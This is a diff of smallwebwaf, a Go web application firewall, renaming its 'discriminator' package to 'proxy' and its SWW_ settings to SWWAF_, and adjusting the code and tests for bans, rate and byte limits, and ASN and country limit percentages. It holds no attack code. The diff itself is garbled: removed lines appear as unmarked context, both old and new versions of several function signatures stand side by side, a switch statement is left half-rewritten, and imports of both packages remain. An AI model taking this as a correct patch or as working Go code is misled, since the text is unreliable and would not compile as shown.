@@ -164,9 +163,9 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
 	t.Parallel()
 	const (
-		allowed = "192.0.2.7"  // in SWW_ALLOW_NETS
+		allowed = "192.0.2.7"  // in SWWAF_ALLOW_NETS
-		exempt  = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
+		exempt  = "192.0.2.10" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
-		denied  = "192.0.2.20" // in SWW_DENY_NETS
+		denied  = "192.0.2.20" // in SWWAF_DENY_NETS
 	)
 	s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
@@ -319,7 +318,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
 	// kept.
 	geojsURL, _, release := startHeldGeoJS(t)
-	var server atomic.Pointer[discriminator.Server]
+	var server atomic.Pointer[proxy.Server]
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {
 		release()
@@ -1,18 +1,17 @@
-package discriminator
+package proxy
 import (
 	"net/http"
 	"net/netip"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
 )
-// banResponse is a refusal answered with SWW_BAN_RESPONSE, and logged
+// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged
 // with action.
 func (rq *request) banResponse(action string) *refusal {
 	return &refusal{status: rq.h.config.BanResponse, action: action}
@@ -46,7 +45,7 @@ func (rq *request) banned(now time.Time) bool {
 // the client over a rate limit, as its limit percentage lowers it, which
 // breaks it.
 func (rq *request) limitBroken(now time.Time) bool {
-	counts, hit, over := rq.h.limiter.Count(rq.h.clientGroup(rq.client), now,
+	counts, hit, over := rq.h.limiter.Count(clientGroup(rq.client), now,
 		rq.limitPercent.percent)
 	rq.line.Counts = counts
@@ -58,12 +57,13 @@ func (rq *request) limitBroken(now time.Time) bool {
 }
 // countBytes counts the request's bytes, as countedBytes gives them, for
-// the byte limits, once its report has come, and notes the client's byte totals
+// the byte limits, once its response has ended, and notes the client's
-// for the log line; its requests stay there as the rate limits counted them.
+// byte totals for the log line; its requests stay there as the rate limits
-// Only an allowed request has them counted, and only one the rate limits
+// counted them. Only a request passed to the app has them counted, and
-// counted; in observe mode, not one that enforce mode would have refused. Bytes
+// only one the rate limits counted; in observe mode, not one that enforce
-// that take the client over a byte limit, as its limit percentage for the byte
+// mode would have refused. Bytes that take the client over a byte limit,
-// limits lowers it, break it; the response was passed on whole.
+// as its limit percentage for the byte limits lowers it, break it; the
 // response was passed on whole.
 func (rq *request) countBytes() {
 	if !rq.counted || rq.line.WouldAction != "" {
 		return
@@ -71,7 +71,7 @@ func (rq *request) countBytes() {
 	now := rq.h.now()
-	counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
+	counts, hit, over := rq.h.limiter.CountBytes(clientGroup(rq.client), now,
 		rq.countedBytes(), rq.bytesPercent.percent)
 	rq.line.Counts.MinuteBytes = counts.MinuteBytes
 	rq.line.Counts.HourBytes = counts.HourBytes
@@ -82,48 +82,18 @@ func (rq *request) countBytes() {
 	}
 }
 // countRefusal counts the request for the error burst once it has been
 // answered, if discriminator refused it after a rule file match, a trap path or a
 // Core Rule Set match, and in observe mode if enforce mode would have: more than
 // SWW_ERROR_BURST_THRESHOLD such refusals of the client within a minute
 // break a limit. A client in SWW_ALLOW_NETS, which the checks skip, is
 // not counted, and nothing is while the threshold is off.
 func (rq *request) countRefusal() {
 	cfg := rq.h.config
 	if cfg.ErrorBurstThreshold == 0 {
 		return
 	}
 	if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked {
 		return
 	}
 	now := rq.h.now()
 	hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
 		cfg.ErrorBurstThreshold)
 	if !over {
 		return
 	}
 	// What the client was sent, or in observe mode would have been.
 	status := rq.out.status
 	switch rq.line.WouldAction {
 	case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
 		status = http.StatusForbidden
 	case requestlog.ActionBanned:
 		status = cfg.BanResponse
 	}
 	rq.banForLimit(now, hit, status)
 }
 // countedBytes returns the request's bytes, once it has ended, as the
 // byte limits and the anomaly thresholds count them: the response's body
-// bytes, the request's, or both, as SWW_BYTES_COUNT says.
+// bytes, the request's, or both, as SWWAF_BYTES_COUNT says. For an
 // upgraded connection, such as a WebSocket, which has closed by then, what
 // it carried from the app counts with the response's and what it carried
 // from the client with the request's.
 func (rq *request) countedBytes() int64 {
-	response, request := rq.out.bytes, rq.requestBytes
+	response, request := rq.out.bytes, rq.requestBytes()
 	if rq.upgraded != nil {
 		response += rq.upgraded.fromApp.Load()
 		request += rq.upgraded.toApp.Load()
 	}
 	switch rq.h.config.BytesCount {
 	case "response":
@@ -136,27 +106,20 @@ func (rq *request) countedBytes() int64 {
 }
 // banForLimit bans the client's netblock at now for a broken limit, the
-// one hit names, notes the offence for the log line and counts the hit in
+// one hit names, and notes the offence for the log line. status is what
-// the metrics. status is what the client was sent, or is sent:
+// the client was sent, or is sent: SWWAF_BAN_RESPONSE for a request over
-// SWW_BAN_RESPONSE for a request over a rate limit, what the report says for
+// a rate limit, the app's answer for one whose bytes broke a byte limit.
-// one whose bytes broke a byte limit, the refusal for one that broke the
+// The ban's notes give the client's limit percentage for that kind of
-// error burst. The ban's notes give the client's limit percentage for a
+// limit. The ban sets the client's counters back to zero. In observe mode
-// rate limit or a byte limit; the error burst is not lowered. The ban sets
+// it makes no ban and sets nothing back, and raises the alert for the ban
-// the client's counters back to zero. In observe mode it makes no ban and
+// it would have made, if that alert would be sent.
 // sets nothing back, and raises the alert for the ban it would have made,
 // if that alert would be sent.
 func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
 	switch hit.Kind {
 	case ratelimit.KindBytes:
 		rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
 	case ratelimit.KindRefusals:
 		rq.line.LimitHit = requestlog.LimitHitErrorBurst
 	default:
 	rq.line.LimitHit = hit.Window
 	if hit.Kind == ratelimit.KindBytes {
 		rq.line.LimitHit += "_bytes" // as counts names the byte totals
 	}
 	rq.line.Offence = requestlog.OffenceLimit
 	rq.h.metrics.LimitHit(hit)
 	netblock := rq.h.netblock(rq.client)
 	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
@@ -171,18 +134,17 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
 		Limit:    hit.Limit,
 		Window:   hit.Window,
 		Count:    hit.Count,
 		Reputation: rq.reputation,
 		Request:  rq.noted(now, status),
 		Requests: rq.netblockRequests(netblock),
 	}
-	switch hit.Kind {
+	percent := rq.limitPercent
-	case ratelimit.KindRequests:
+	if hit.Kind == ratelimit.KindBytes {
-		notes.LimitPercent, notes.LimitPercentSetting = rq.limitPercent.logged()
+		percent = rq.bytesPercent
 	case ratelimit.KindBytes:
 		notes.LimitPercent, notes.LimitPercentSetting = rq.bytesPercent.logged()
 	}
 	notes.LimitPercent, notes.LimitPercentSetting = percent.logged()
 	if rq.h.config.Observe {
 		ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes)
 		if wouldBan {
@@ -193,7 +155,7 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
 	}
 	ban, made := rq.h.ledger.BanForLimit(netblock, now, notes)
-	rq.h.limiter.Reset(rq.h.clientGroup(rq.client))
+	rq.h.limiter.Reset(clientGroup(rq.client))
 	rq.line.BanExpires = banExpires(ban)
 	if made {
@@ -202,22 +164,24 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
 }
 // banForAttack bans the client's netblock at now for a clear sign of
-// attack, which notes name: the ban rule that matched, or the trap path
+// attack, the match of rule, a ban rule. In observe mode it makes no ban,
-// asked for. It fills in the rest of the notes. In observe mode it makes
+// and raises the alert for the ban it would have made, if that alert
-// no ban, and raises the alert for the ban it would have made, if that
+// would be sent.
-// alert would be sent.
+func (rq *request) banForAttack(now time.Time, rule rules.Rule) {
 func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
 	netblock := rq.h.netblock(rq.client)
 	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
 		return
 	}
-	notes.ASN = rq.line.ASN
+	notes := bans.Notes{
-	notes.ASName = rq.line.ASName
+		ASN:      rq.line.ASN,
-	notes.Country = rq.line.Country
+		ASName:   rq.line.ASName,
-	notes.Reputation = rq.reputation
+		Country:  rq.line.Country,
-	notes.Request = rq.noted(now, rq.h.config.BanResponse)
+		RuleID:   rule.ID,
-	notes.Requests = rq.netblockRequests(netblock)
+		Target:   rule.Target,
 		Request:  rq.noted(now, rq.h.config.BanResponse),
 		Requests: rq.netblockRequests(netblock),
 	}
 	if rq.h.config.Observe {
 		ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes)
@@ -236,48 +200,10 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
 	}
 }
 // banForCrowdSec bans the client's netblock at now until decision,
 // CrowdSec's decision on the client, ends. In observe mode it makes no
 // ban, and raises the alert for the ban it would have made, if that alert
 // would be sent.
 func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) {
 	netblock := rq.h.netblock(rq.client)
 	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
 		return
 	}
 	notes := bans.Notes{
 		ASN:        rq.line.ASN,
 		ASName:     rq.line.ASName,
 		Country:    rq.line.Country,
 		Reputation: rq.reputation,
 		Request:    rq.noted(now, rq.h.config.BanResponse),
 		Requests:   rq.netblockRequests(netblock),
 	}
 	if rq.h.config.Observe {
 		ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
 			decision.Scenario, notes)
 		if wouldBan {
 			rq.alertBan(ban)
 		}
 		return
 	}
 	ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires,
 		decision.Scenario, notes)
 	rq.line.BanExpires = banExpires(ban)
 	if made {
 		rq.alertBan(ban)
 	}
 }
 // wouldAlertBan reports whether the alert for a ban on netblock for cause
 // made at now would be sent. In observe mode the ban the request would
 // have made is worked out only then, at most once per
-// SWW_ALERT_COOLDOWN and never with no webhook set: its notes count the
+// SWWAF_ALERT_COOLDOWN and never with no webhook set: its notes count the
 // netblock's requests, which can mean going through every client.
 func (rq *request) wouldAlertBan(
 	netblock netip.Prefix, now time.Time, cause string,
@@ -310,7 +236,6 @@ func (rq *request) alertBan(ban bans.Ban) {
 	rq.h.alerts.Raise(alerts.Alert{
 		Event:    event,
 		Host:     rq.site,
 		Client:   rq.client,
 		Netblock: ban.Netblock,
 		ASN:      ban.Notes.ASN,
@@ -327,11 +252,11 @@ func (rq *request) alertBan(ban bans.Ban) {
 func (rq *request) noted(now time.Time, status int) bans.Request {
 	return bans.Request{
 		Time:      now,
-		Method:    rq.line.Method,
+		Method:    rq.in.Method,
-		Host:      rq.line.Host,
+		Host:      rq.in.Host,
-		Path:      rq.requestURI,
+		Path:      rq.in.URL.RequestURI(),
 		Status:    status,
-		UserAgent: rq.line.UserAgent,
+		UserAgent: rq.in.UserAgent(),
 	}
 }
@@ -343,7 +268,7 @@ func (rq *request) netblockRequests(netblock netip.Prefix) int64 {
 }
 // netblock is the netblock a ban on client covers: its IPv4 address,
-// widened to SWW_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
+// widened to SWWAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
 // counts it in.
 func (h *handler) netblock(client netip.Addr) netip.Prefix {
 	addr := client.Unmap()
@@ -351,7 +276,7 @@ func (h *handler) netblock(client netip.Addr) netip.Prefix {
 		return netip.PrefixFrom(addr, h.config.BanScopeV4Prefix).Masked()
 	}
-	return h.clientGroup(addr)
+	return clientGroup(addr)
 }
 // banExpires is when ban ends, as the log line gives it: a time, or
@@ -1,4 +1,4 @@
-package discriminator_test
+package proxy_test
 import (
 	"bufio"
@@ -7,15 +7,13 @@ import (
 	"maps"
 	"net/http"
 	"net/netip"
 	"reflect"
 	"slices"
 	"strings"
 	"sync"
 	"testing"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
@@ -26,8 +24,6 @@ const (
 	userAgent = "ban-test/1.0"
 	// permanent is the log line's ban_expires for a permanent ban.
 	permanent = "permanent"
 	// banResponseClose is the SWW_BAN_RESPONSE that closes the connection.
 	banResponseClose = "close"
 )
 func TestBrokenLimitBansTheClient(t *testing.T) {
@@ -89,19 +85,19 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
 		}
 	}
-	// A first ban lasts SWW_LIMIT_BAN_DURATION; one within
+	// A first ban lasts SWWAF_LIMIT_BAN_DURATION; one within
-	// SWW_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
+	// SWWAF_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
 	wantExpires(breakLimit(), 10*time.Minute)
 	clk.advance(10*time.Minute + time.Hour)
 	wantExpires(breakLimit(), 30*time.Minute)
-	// Later than that, SWW_LIMIT_BAN_DURATION again.
+	// Later than that, SWWAF_LIMIT_BAN_DURATION again.
 	clk.advance(30*time.Minute + time.Hour + time.Second)
 	wantExpires(breakLimit(), 10*time.Minute)
 	clk.advance(10 * time.Minute)
 	wantExpires(breakLimit(), 30*time.Minute)
-	// 90 minutes would be longer than SWW_MAX_BAN_DURATION: the ban is
+	// 90 minutes would be longer than SWWAF_MAX_BAN_DURATION: the ban is
 	// permanent.
 	clk.advance(30 * time.Minute)
@@ -148,8 +144,8 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
 	// In the IPv4 cases, client breaks the limit; these two are next to it.
 	const (
-		allowed = "203.0.113.60" // in SWW_ALLOW_NETS
+		allowed = "203.0.113.60" // in SWWAF_ALLOW_NETS
-		exempt  = "203.0.113.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
+		exempt  = "203.0.113.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
 	)
 	for _, tc := range []struct {
@@ -164,19 +160,14 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
 			nil, []string{otherClient, exempt},
 		},
 		{
-			"the IPv4 netblock SWW_BAN_SCOPE_V4_PREFIX sets",
+			"the IPv4 netblock SWWAF_BAN_SCOPE_V4_PREFIX sets",
 			map[string]string{banScopeV4Prefix: "24"}, client,
 			[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
 		},
 		{
-			"an IPv6 /64, by default", nil, "2001:db8:5::1",
+			"an IPv6 /64", nil, "2001:db8:5::1",
 			[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
 		},
 		{
 			"the IPv6 netblock SWW_IPV6_GROUP_PREFIX sets",
 			map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
 			[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
 		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
@@ -208,7 +199,6 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
 	geojsURL, asked := startGeoJS(t)
 	s, _, _ := startWithClock(t, geojsURL, map[string]string{
 		lookupTimeout:      "1h",
 		rateLimitPerMinute: "1",
 		banScopeV4Prefix:   "24",
 		deniedCountries:    "kp",
@@ -231,23 +221,22 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
 func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
 	t.Parallel()
-	const denied = "192.0.2.50" // in SWW_DENY_NETS
+	const denied = "192.0.2.50" // in SWWAF_DENY_NETS
 	for _, tc := range []struct {
-		setting string // "" leaves SWW_BAN_RESPONSE at its default
+		setting string // "" leaves SWWAF_BAN_RESPONSE at its default
 		status  int    // 0 is the connection closed without an answer
 	}{
 		{"", http.StatusForbidden},
 		{"403", http.StatusForbidden},
 		{"429", http.StatusTooManyRequests},
-		{banResponseClose, 0},
+		{"close", 0},
 	} {
 		t.Run(banResponse+"="+tc.setting, func(t *testing.T) {
 			t.Parallel()
 			geojsURL, _ := startGeoJS(t)
 			env := map[string]string{
 				lookupTimeout:      "1h",
 				rateLimitPerMinute: "1",
 				denyNets:           denied,
 				deniedCountries:    "kp",
@@ -273,7 +262,6 @@ func TestBanNotes(t *testing.T) {
 	geojsURL, _ := startGeoJS(t)
 	s, clk, server := startWithClock(t, geojsURL, map[string]string{
 		lookupTimeout:      "1h",
 		rateLimitPerMinute: "1",
 		deniedCountries:    "kp",
 	})
@@ -319,7 +307,7 @@ func TestBanNotes(t *testing.T) {
 	ledger := server.Ledger
 	got := ledger.Bans(netblock)
-	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
+	if len(got) != 1 || got[0] != want {
 		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
 	}
@@ -352,7 +340,7 @@ func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) {
 	s.get(otherClient, http.StatusForbidden, requestlog.ActionBanned)
 }
-// clock is the time a test sets, by which sww counts requests and
+// clock is the time a test sets, by which smallwebwaf counts requests and
 // makes bans.
 type clock struct {
 	mu  sync.Mutex
@@ -375,14 +363,14 @@ func (c *clock) advance(d time.Duration) {
 	c.now = c.now.Add(d)
 }
-// startWithClock starts discriminator, and rproxy in front of an app that answers 200,
+// startWithClock starts smallwebwaf in front of an app that answers 200,
 // with the settings in env on top of trusting localhost's
 // X-Forwarded-For, clients' AS numbers and countries looked up at
 // geojsURL, and a clock set to midnight, the start of a bucket in every
 // window.
 func startWithClock(
 	t *testing.T, geojsURL string, env map[string]string,
-) (*sender, *clock, *discriminator.Server) {
+) (*sender, *clock, *proxy.Server) {
 	t.Helper()
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
@@ -392,18 +380,16 @@ func startWithClock(
 	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
-	return &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}, clk, server
+	return &sender{t: t, addr: addr, out: out}, clk, server
 }
-// sender sends requests to rproxy one after another, each on a connection of its
+// sender sends requests to smallwebwaf one after another, each on a
-// own, and checks each one's answer and log line. discriminatorAddr is where
+// connection of its own, and checks each one's answer and log line. They
-// discriminator's own endpoints are, which adminRequest asks. Every request
+// must be the only requests smallwebwaf is sent, since the log lines are
 // discriminator gets must come through the sender, since the log lines are
 // matched to them in order.
 type sender struct {
 	t    *testing.T
 	addr string
 	discriminatorAddr string
 	out  *output
 	sent int
 }
@@ -422,19 +408,22 @@ func (s *sender) get(from string, status int, action string) logLine {
 func (s *sender) request(from, path string, status int, action string) logLine {
 	s.t.Helper()
-	return s.requestWithHeader(from, path, "", status, action)
+	line, _ := s.requestWithHeader(from, path, "", status, action)
 	return line
 }
 // requestWithHeader is request with header, such as "Authorization:
-// Bearer x", added to the request unless it is "".
+// Bearer x", added to the request unless it is "". It returns the body of
 // the answer too.
 func (s *sender) requestWithHeader(
 	from, path, header string, status int, action string,
-) logLine {
+) (logLine, string) {
 	s.t.Helper()
-	line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
+	line, got := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
-	return line
+	return line, string(got.body)
 }
 // requestWithBody is requestWithHeader for a request with method, whose
@@ -450,14 +439,10 @@ func (s *sender) requestWithBody(
 		header += "\r\n"
 	}
 	// rproxy refuses a request with more than one.
 	if !strings.Contains(header, "User-Agent:") {
 		header += "User-Agent: " + userAgent + "\r\n"
 	}
 	conn := dial(s.t, s.addr)
-	send(s.t, conn, method+" "+path+" HTTP/1.1\r\nHost: "+appHost+"\r\n"+
+	send(s.t, conn, method+" "+path+" HTTP/1.1\r\nHost: "+appHost+
-		forwardedFor+": "+from+"\r\n"+header+"\r\n"+body)
+		"\r\nUser-Agent: "+userAgent+"\r\n"+forwardedFor+": "+from+"\r\n"+
 		header+"\r\n"+body)
 	err := conn.SetReadDeadline(time.Now().Add(waitLimit))
 	if err != nil {
@@ -482,7 +467,7 @@ func (s *sender) requestWithBody(
 			got.status, status)
 	}
-	line := s.out.endedLines(s.t, s.sent+1)[s.sent]
+	line := s.out.requestLines(s.t, s.sent+1)[s.sent]
 	s.sent++
 	wantLine(s.t, line, status, action)
@@ -0,0 +1,96 @@
 package proxy
 import (
 	"sneak.berlin/go/smallwebwaf/internal/config"
 )
 // whole is the percentage of each limit a client gets when no biased
 // threshold lowers its limits.
 const whole = 100
 // percentage is a client's limit percentage for the rate limits or for
 // the byte limits, as the biased thresholds give it, and the setting that
 // gave it: "" with whole when none lowers that kind of limit.
 type percentage struct {
 	percent int64
 	setting string
 }
 // biasedThresholdsSet reports whether a biased threshold can lower a
 // client's limits: one of its lists is not empty, or
 // SWWAF_UNKNOWN_LIMIT_PERCENT is below 100. The client's lookup is then
 // needed before its request goes on.
 func biasedThresholdsSet(cfg *config.Config) bool {
 	return len(cfg.ASNLimitPercent) > 0 || len(cfg.CountryLimitPercent) > 0 ||
 		len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
 		cfg.UnknownLimitPercent < whole
 }
 // limitPercentages returns a client's limit percentages, for the rate
 // limits and for the byte limits, by its AS number and country as looked
 // up, each "" when unknown. Each is the lowest of those the settings give
 // it, the first of them in the order below when several are lowest: the
 // percentage SWWAF_ASN_LIMIT_PERCENT gives its AS number, the one
 // SWWAF_COUNTRY_LIMIT_PERCENT gives its country, and, for a client
 // without a country, SWWAF_UNKNOWN_LIMIT_PERCENT. For the byte limits,
 // SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT take the place
 // of the first two for an AS number or a country they list.
 func limitPercentages(
 	cfg *config.Config, asn, country string,
 ) (percentage, percentage) {
 	unknown := percentage{percent: whole}
 	if country == "" {
 		unknown = percentage{cfg.UnknownLimitPercent, "SWWAF_UNKNOWN_LIMIT_PERCENT"}
 	}
 	asnRequests := given(cfg.ASNLimitPercent, asn, "SWWAF_ASN_LIMIT_PERCENT")
 	countryRequests := given(cfg.CountryLimitPercent, country,
 		"SWWAF_COUNTRY_LIMIT_PERCENT")
 	asnBytes, countryBytes := asnRequests, countryRequests
 	if _, listed := cfg.ASNBytesPercent[asn]; listed {
 		asnBytes = given(cfg.ASNBytesPercent, asn, "SWWAF_ASN_BYTES_PERCENT")
 	}
 	if _, listed := cfg.CountryBytesPercent[country]; listed {
 		countryBytes = given(cfg.CountryBytesPercent, country, "SWWAF_COUNTRY_BYTES_PERCENT")
 	}
 	return lowest(asnRequests, countryRequests, unknown),
 		lowest(asnBytes, countryBytes, unknown)
 }
 // given returns the percentage percents, the setting named setting, gives
 // code, an AS number or a country, or whole when it does not list code.
 func given(percents map[string]int64, code, setting string) percentage {
 	percent, listed := percents[code]
 	if !listed {
 		return percentage{percent: whole}
 	}
 	return percentage{percent, setting}
 }
 // lowest returns the lowest of percentages below whole, the first of them
 // when several are lowest, or whole when none is below it.
 func lowest(percentages ...percentage) percentage {
 	low := percentage{percent: whole}
 	for _, p := range percentages {
 		if p.percent < low.percent {
 			low = p
 		}
 	}
 	return low
 }
 // logged returns p as the log line and the notes of a ban give it: its
 // percent and setting, or nil and "" for whole, which they leave out.
 func (p percentage) logged() (*int64, string) {
 	if p.percent == whole {
 		return nil, ""
 	}
 	return &p.percent, p.setting
 }
@@ -1,9 +1,10 @@
-package discriminator_test
+package proxy_test
 import (
 	"fmt"
 	"io"
 	"maps"
 	"net"
 	"net/http"
 	"net/http/httptest"
 	"net/netip"
@@ -15,18 +16,18 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
 	"sneak.berlin/go/smallwebwaf/internal/proxy"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 // The biased thresholds.
 const (
-	asnLimitPercent     = "SWW_ASN_LIMIT_PERCENT"
+	asnLimitPercent     = "SWWAF_ASN_LIMIT_PERCENT"
-	countryLimitPercent = "SWW_COUNTRY_LIMIT_PERCENT"
+	countryLimitPercent = "SWWAF_COUNTRY_LIMIT_PERCENT"
-	asnBytesPercent     = "SWW_ASN_BYTES_PERCENT"
+	asnBytesPercent     = "SWWAF_ASN_BYTES_PERCENT"
-	countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
+	countryBytesPercent = "SWWAF_COUNTRY_BYTES_PERCENT"
-	unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
+	unknownLimitPercent = "SWWAF_UNKNOWN_LIMIT_PERCENT"
 )
 const (
@@ -230,7 +231,7 @@ func TestLowestPercentageApplies(t *testing.T) {
 			noCountry, "25 from " + unknownLimitPercent,
 		},
 		{
-			// SWW_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
+			// SWWAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
 			"the AS number's, for a client without a country",
 			map[string]string{asnLimitPercent: "AS64500:25"},
 			noCountry, "25 from " + asnLimitPercent,
@@ -280,12 +281,12 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
 	// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
 	// says, with a GeoJS that never answers.
 	synctest.Test(t, func(t *testing.T) {
-		server, out, _ := newDiscriminator(t, unansweredGeoJSURL, time.Now,
+		server, out, _ := newProxy(t, "http://app.invalid", unansweredGeoJSURL,
-			map[string]string{unknownLimitPercent: "0"})
+			time.Now, map[string]string{unknownLimitPercent: "0"})
-		// Once the time the request waits for its answer is up, the client
+		// Once the second the request waits for its answer is up, the client
 		// counts as without a country, and its zero allowance refuses the
-		// request.
+		// request before it reaches the app.
 		serveFromDE(t, server, http.MethodGet, http.NoBody)
 		line := out.requestLine(t)
@@ -309,7 +310,6 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
 		{asnBytesPercent, asnDEHalf, true},
 		{countryBytesPercent, countryDEHalf, true},
 		{unknownLimitPercent, "99", true},
 		{asnLimitPercentURL, asnURL, true},
 		// At 100, its default, it lowers no limit.
 		{unknownLimitPercent, "100", false},
 	} {
@@ -319,8 +319,13 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
 			// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
 			// says, with a GeoJS that never answers.
 			synctest.Test(t, func(t *testing.T) {
-				server, out, _ := newDiscriminator(t, unansweredGeoJSURL, time.Now,
+				// The request's body is over SWWAF_REQUEST_MAX_BYTES, so that it
-					map[string]string{lookupTimeout: timeout.String(), tc.setting: tc.value})
+				// is refused after the checks, and never reaches the app.
 				server, out, _ := newProxy(t, "http://app.invalid", unansweredGeoJSURL,
 					time.Now, map[string]string{
 						lookupTimeout: timeout.String(), requestMaxBytes: "1",
 						tc.setting: tc.value,
 					})
 				began := time.Now()
 				serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
@@ -334,7 +339,8 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
 					t.Errorf("the request waited %s for its answer, want %s", waited, want)
 				}
-				wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
+				wantLine(t, out.requestLine(t), http.StatusRequestEntityTooLarge,
 					requestlog.ActionTooLarge)
 				// The bubble's clock stops once this function returns, so the
 				// request to GeoJS, which a request that did not wait leaves
@@ -419,7 +425,7 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T
 // clock.
 func startWithLookups(
 	t *testing.T, env map[string]string,
-) (*sender, *discriminator.Server, *alerts.Queue) {
+) (*sender, *proxy.Server, *alerts.Queue) {
 	t.Helper()
 	s, _, server, queue := startWithLookupsAndClock(t, env)
@@ -434,7 +440,7 @@ func startWithLookups(
 // country, and no other address.
 func startWithLookupsAndClock(
 	t *testing.T, env map[string]string,
-) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
+) (*sender, *clock, *proxy.Server, *alerts.Queue) {
 	t.Helper()
 	path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
@@ -460,17 +466,13 @@ func (s *sender) uploadFrom(from string) logLine {
 	return line
 }
-// serveFromDE hands a question about a request from fromDE with method and body
+// serveFromDE hands a request from fromDE with method and body straight to
-// straight to server's handler, without the network, and returns once it is
+// server's handler, without the network, and returns once it is answered.
-// answered.
+func serveFromDE(t *testing.T, server *proxy.Server, method string, body io.Reader) {
 func serveFromDE(
 	t *testing.T, server *discriminator.Server, method string, body io.Reader,
 ) {
 	t.Helper()
 	req := httptest.NewRequestWithContext(t.Context(), method, "/", body)
-	req.Header.Set(discriminator.ClientHeader, fromDE)
+	req.RemoteAddr = net.JoinHostPort(fromDE, "1234")
 	req.Header.Set(requestIDHeader, "the-id")
 	server.Handler.ServeHTTP(httptest.NewRecorder(), req)
 }
@@ -487,7 +489,7 @@ func wantPercent(t *testing.T, what string, percent *int64, setting, want string
 }
 // percentText gives a limit percentage and the setting that gave it as
-// text, such as "50 from SWW_ASN_LIMIT_PERCENT", or none when both are
